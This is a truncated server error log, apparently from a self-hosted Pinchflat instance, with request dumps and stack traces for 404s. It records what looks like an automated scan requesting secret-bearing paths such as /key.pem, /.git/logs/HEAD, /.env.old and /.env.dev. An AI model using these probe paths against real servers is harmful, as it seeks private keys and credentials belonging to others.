"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9937.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.pem", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnNGa8sHjIAABKE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59824}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59824}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto (truncated) 15:23:36.906 [error] #PID<0.9938.0> running PinchflatWeb.Endpoint (connection #PID<0.9935.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /key.pem ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9935.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59840}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9938.0>, params: %{}, path_info: ["key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/key.pem", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHHnNiu6yj4UAAI5D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9935.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59840}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9935.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.pem", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59840}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9938.0>, params: %{}, path_info: ["key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch = (truncated) 15:23:37.122 [info] GET /.git/logs/HEAD 15:23:37.123 [debug] QUERY OK source="settings" db=0.0ms idle=218.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:37.123 [debug] QUERY OK source="settings" db=0.0ms idle=218.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:37.123 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:37.123 [error] #PID<0.9940.0> running PinchflatWeb.Endpoint (connection #PID<0.9939.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.git/logs/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/logs/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9939.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/logs/HEAD", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59842}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9940.0>, params: %{}, path_info: [".git", "logs", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/logs/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHIbXs9uBAe4AA5FB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9939.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/logs/HEAD", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59842}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/logs/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9939.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/logs/HEAD", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59842}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 15:23:37.145 [info] GET /.env.old 15:23:37.145 [debug] QUERY OK source="settings" db=0.0ms idle=240.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:37.145 [debug] QUERY OK source="settings" db=0.0ms idle=240.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:37.145 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:37.146 [error] #PID<0.9942.0> running PinchflatWeb.Endpoint (connection #PID<0.9941.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59844}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9942.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHIgy1pqef00AA5GB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59844}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59844}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, (truncated) 15:23:37.152 [info] GET /.env.dev 15:23:37.152 [debug] QUERY OK source="settings" db=0.0ms idle=246.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:37.152 [debug] QUERY OK source="settings" db=0.0ms idle=29.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 